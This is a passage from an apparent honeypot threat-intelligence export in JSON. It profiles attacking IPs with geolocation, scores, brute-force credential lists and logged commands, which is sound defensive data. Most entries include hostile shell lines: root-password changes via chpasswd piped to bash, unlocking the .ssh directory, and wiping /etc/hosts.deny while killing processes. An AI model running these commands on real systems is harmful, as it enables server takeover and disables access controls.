        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Pattaya",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 31.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 344,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T13:23:23.534000+00:00",
        "last_seen_30d": "2026-04-25T14:23:35.658000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 272,
        "Suricata": 72
      }
    },
    "41.222.249.236": {
      "attack_count": 263,
      "first_seen": "2026-04-21T13:57:39.284Z",
      "last_seen": "2026-04-21T14:42:02.233Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "odoo",
        "ubuntu",
        "345gs5662d34",
        "steam",
        "ali",
        "av",
        "backupuser",
        "db",
        "luis",
        "openvpn",
        "rootuser",
        "student"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZxsw2",
        "1234",
        "12qw12qw",
        "2021",
        "Aa123456!@#",
        "Aa520250",
        "Ali2025!@#",
        "M@sterP@ss",
        "Odoo23",
        "Odoo25",
        "Qazwsx2024@@",
        "Qwe@",
        "Root54321..",
        "Steam#",
        "av123",
        "backupuser",
        "db",
        "luis"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Odoo25\\nAif9pFMIK7XZ\\nAif9pFMIK7XZ\\n\"|passwd",
        "echo \"Steam#\\nZS4PpgvlvEd8\\nZS4PpgvlvEd8\\n\"|passwd",
        "echo -e \"Odoo25\\nAif9pFMIK7XZ\\nAif9pFMIK7XZ\"|passwd|bash",
        "echo -e \"Steam#\\nZS4PpgvlvEd8\\nZS4PpgvlvEd8\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Angola",
      "country_code": "AO",
      "city": "Londa",
      "asn": 36907,
      "as_org": "TVCaboAngola",
      "threat_score": 26.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 327,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T13:57:39.284000+00:00",
        "last_seen_30d": "2026-04-21T14:43:07.960000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 64
      }
    },
    "156.225.18.240": {
      "attack_count": 262,
      "first_seen": "2026-04-11T18:07:24.789Z",
      "last_seen": "2026-04-11T18:52:41.587Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "test",
        "dev",
        "ftpuser",
        "john",
        "odoo",
        "testman",
        "user2",
        "vpn",
        "wildfly",
        "wp-user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "1qaz",
        "1qaz2wsx",
        "A12345678H",
        "Cloud12#$",
        "ODOO",
        "P@ssw0rd88",
        "Root123@",
        "Root888@@",
        "Vpn25",
        "ZAQ!2wsx2020@",
        "a@123456b",
        "admin@123!",
        "dEV",
        "ftpuser12",
        "password",
        "redhat123!",
        "root2020#$"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:WTg95v3nKuPJ\"|chpasswd|bash",
        "echo \"ubuntu!@\\nV8FTAMEbsKCU\\nV8FTAMEbsKCU\\n\"|passwd",
        "echo -e \"ubuntu!@\\nV8FTAMEbsKCU\\nV8FTAMEbsKCU\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 401696,
      "as_org": "cognetcloud INC",
      "threat_score": 13.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 329,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T18:07:24.789000+00:00",
        "last_seen_30d": "2026-04-11T18:53:49.864000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 67
      }
    },
    "41.93.28.9": {
      "attack_count": 261,
      "first_seen": "2026-04-15T01:06:07.129Z",
      "last_seen": "2026-04-15T02:07:12.492Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ftpuser",
        "ubuntu",
        "admin",
        "ali",
        "deploy",
        "gameserver",
        "julian",
        "n8n",
        "sgp",
        "steam"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "1qaz@@",
        "Abc123123@",
        "AbcAbc",
        "Adm@123",
        "Ftpuser6",
        "N8n13!",
        "P@sssw0rd03",
        "QWE#",
        "Qazwsx2022",
        "Qwerty12345678",
        "Ubuntu17",
        "Ubuntu2025!",
        "admin6",
        "ali11",
        "anon",
        "frappe2026!",
        "ftpuser0"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:6qzJFR0iZC4u\"|chpasswd|bash",
        "echo \"root:VpgzWNSe99Gp\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": null,
      "asn": 37182,
      "as_org": "TERNET",
      "threat_score": 19.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 329,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T01:06:07.129000+00:00",
        "last_seen_30d": "2026-04-15T02:08:19.318000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 261,
        "Suricata": 68
      }
    },
    "202.125.94.71": {
      "attack_count": 252,
      "first_seen": "2026-04-25T00:23:25.414Z",
      "last_seen": "2026-04-25T00:51:30.194Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "git",
        "user1",
        "ccorrea",
        "deploy",
        "postgres",
        "rooter",
        "sujan",
        "test",
        "test1",
        "ubuntu",
        "user",
        "vitor"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "!Q2w3e4r",
        "12345678aA",
        "1234qwer",
        "123ASDasd",
        "1qaz@WSX1234",
        "2525",
        "2glehe5t24th1issZs",
        "A12345678",
        "Aa@112211",
        "Admin@123",
        "MoeClub.org",
        "Postgres29!",
        "frappe12",
        "git12345678",
        "gitgit",
        "root123#",
        "rooter"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234qwer\\nuhRXOvAqFi9M\\nuhRXOvAqFi9M\\n\"|passwd",
        "echo \"root:ROa1fRPgyCjW\"|chpasswd|bash",
        "echo -e \"1234qwer\\nuhRXOvAqFi9M\\nuhRXOvAqFi9M\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 46042,
      "as_org": "Gunadarma University",
      "threat_score": 31.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 311,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T00:23:25.414000+00:00",
        "last_seen_30d": "2026-04-25T00:52:34.700000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 252,
        "Suricata": 59
      }
    },
    "212.33.235.243": {
      "attack_count": 238,
      "first_seen": "2026-04-02T17:56:48.420Z",
      "last_seen": "2026-04-06T18:23:06.681Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234567890#",
        "123asd...",
        "1password!",
        "2525",
        "Abcd.123",
        "Ha123456",
        "Master",
        "Reza2025",
        "Root1234567890",
        "Vm123456@",
        "abc123.,",
        "asdf1234!",
        "cloudtest",
        "jx123456",
        "q1w2e3r4t5!@#$%",
        "qa123456789",
        "qweASD!@#",
        "sistemas"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:6qHZbCO4NrOa\"|chpasswd|bash",
        "echo \"root:PrPJMnLbA3ZX\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Perm",
      "asn": 12768,
      "as_org": "JSC ER-Telecom Holding",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 297,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T17:56:48.420000+00:00",
        "last_seen_30d": "2026-04-06T18:33:07.237000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 238,
        "Suricata": 59
      }
    },
    "116.193.191.8": {
      "attack_count": 236,
      "first_seen": "2026-04-27T01:05:49.412Z",
      "last_seen": "2026-04-27T02:43:33.249Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "rootwww"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        ".369",
        "0000000",
        "1024",
        "222222",
        "ABC123$%",
        "Cloud_ctsi123_!@#",
        "MNBVCXZ",
        "P4$$word123",
        "ZTE@OS+10",
        "admin123qwe.",
        "alpin",
        "john316",
        "kr82@2026",
        "lalala123",
        "letmein!",
        "qwe66666666",
        "root@123456!",
        "volume"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:KQX9ko9QP8On\"|chpasswd|bash",
        "echo \"root:Z2O59a7RyNCk\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 33.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T01:05:49.412000+00:00",
        "last_seen_30d": "2026-04-27T02:44:39.073000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 53
      }
    },
    "128.1.131.163": {
      "attack_count": 236,
      "first_seen": "2026-04-27T09:54:28.460Z",
      "last_seen": "2026-04-27T10:27:04.976Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123Qwe456!",
        "Amir1234",
        "Asdf1234.",
        "Changeme1",
        "P@ssw0rd@123456",
        "Qwe2026",
        "Qwerty123",
        "Ubuntu@2025",
        "Wang1234",
        "Welc0me123",
        "andreas1",
        "angga123",
        "b4n4n4",
        "deng2024",
        "login",
        "my@123456",
        "qwe456",
        "qwer12#"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:O0J7oHfqNd10\"|chpasswd|bash",
        "echo \"root:Z5m2kcCvm4rW\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 33.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T09:54:28.460000+00:00",
        "last_seen_30d": "2026-04-27T10:28:06.608000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 54
      }
    },
    "186.4.240.226": {
      "attack_count": 219,
      "first_seen": "2026-04-30T05:45:34.935Z",
      "last_seen": "2026-04-30T06:16:23.326Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "deploy",
        "oracle",
        "user",
        "345gs5662d34",
        "admin",
        "administrador",
        "ftp_admin",
        "ftptest",
        "ftptest2",
        "ftpuser1",
        "guest",
        "hadoop",
        "myuser",
        "phpmyadmin",
        "root",
        "sap_user",
        "server",
        "test2",
        "teste"
      ],
      "passwords_attempted": [
        "!@#$%^&",
        "!@#$%^&*",
        "11qq22ww",
        "123456",
        "12345678",
        "1234567890",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa12345!",
        "P@SSW0RD",
        "Qwerty123",
        "abcd",
        "admin2021!",
        "asdfgh",
        "deploy1",
        "ftp_admin",
        "ftptest123456",
        "ftptest2",
        "ftpuser",
        "guest123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"11qq22ww\\nh8Om6SE3BUY7\\nh8Om6SE3BUY7\\n\"|passwd",
        "echo -e \"11qq22ww\\nh8Om6SE3BUY7\\nh8Om6SE3BUY7\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Ecuador",
      "country_code": "EC",
      "city": "Quito",
      "asn": 27947,
      "as_org": "Telconet S.A",
      "threat_score": 37.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T05:45:34.935000+00:00",
        "last_seen_30d": "2026-04-30T06:17:29.400000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "152.244.206.148": {
      "attack_count": 218,
      "first_seen": "2026-04-30T03:58:06.544Z",
      "last_seen": "2026-04-30T05:47:35.460Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "minecraft",
        "user",
        "user1",
        "345gs5662d34",
        "ali",
        "bitrix",
        "bwadmin",
        "deployer",
        "esadmin",
        "ftpuser",
        "git",
        "ldapuser",
        "mailtest",
        "nisuser",
        "oracle",
        "reza",
        "root",
        "test"
      ],
      "passwords_attempted": [
        "12345",
        "123456ddd",
        "1234qwer",
        "1qaz3edc",
        "3245gs5662d34",
        "345gs5662d34",
        "3bb",
        "Aa123456",
        "P@55wOrd",
        "P@ssW0rd",
        "Passw0rd",
        "Welcome",
        "Zxc12345",
        "bukkit",
        "danihack000",
        "esadmin123",
        "ftp1234",
        "gituser123",
        "ldapuser",
        "letmein"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"qwerty123\\nxpyIX6uJ9k0p\\nxpyIX6uJ9k0p\\n\"|passwd",
        "echo -e \"qwerty123\\nxpyIX6uJ9k0p\\nxpyIX6uJ9k0p\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Belo Horizonte",
      "asn": 26599,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 37.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 298,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T03:58:06.544000+00:00",
        "last_seen_30d": "2026-04-30T05:48:45.334000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 80
      }
    },
    "165.154.149.253": {
      "attack_count": 216,
      "first_seen": "2026-04-28T16:43:53.587Z",
      "last_seen": "2026-04-28T17:39:19.198Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "abc",
        "admin",
        "bitnami",
        "dev",
        "test01"
      ],
      "passwords_attempted": [
        "123qwez",
        "1qazxsw2@123",
        "3245gs5662d34",
        "345gs5662d34",
        "48554855",
        "9ijnbhu8",
        "@Dmin123",
        "ASDFasdf1234",
        "Abc@2025",
        "Admin007",
        "Cn123456",
        "P@ssw0rd",
        "QWEzxc123",
        "Support!2025",
        "Vps",
        "abc123--",
        "bitnami1234",
        "cloud23",
        "dev1234",
        "dev@2024"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:cVMBC2g8Q0vL\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 34.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 287,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T16:43:53.587000+00:00",
        "last_seen_30d": "2026-04-28T17:40:24.027000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 216,
        "Suricata": 71
      }
    },
    "144.31.186.117": {
      "attack_count": 203,
      "first_seen": "2026-04-25T22:53:09.784Z",
      "last_seen": "2026-04-25T23:51:56.034Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "ali",
        "mustafa",
        "n8n",
        "sammy",
        "user1",
        "wifi"
      ],
      "passwords_attempted": [
        "1234554321",
        "1qaz2wsx#",
        "1qaz@WSX",
        "3245gs5662d34",
        "345gs5662d34",
        "8ik,@@",
        "Aa112211.",
        "Aa4226391.",
        "Abcd123!!",
        "Admin123$%",
        "Ali24!",
        "N8n5",
        "P@ssw0rd1!",
        "Pambazuka08",
        "SAMMY",
        "Test8",
        "Wsy123456",
        "ZAQ!2wsx4321!@#",
        "admin123456789$",
        "admin21"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
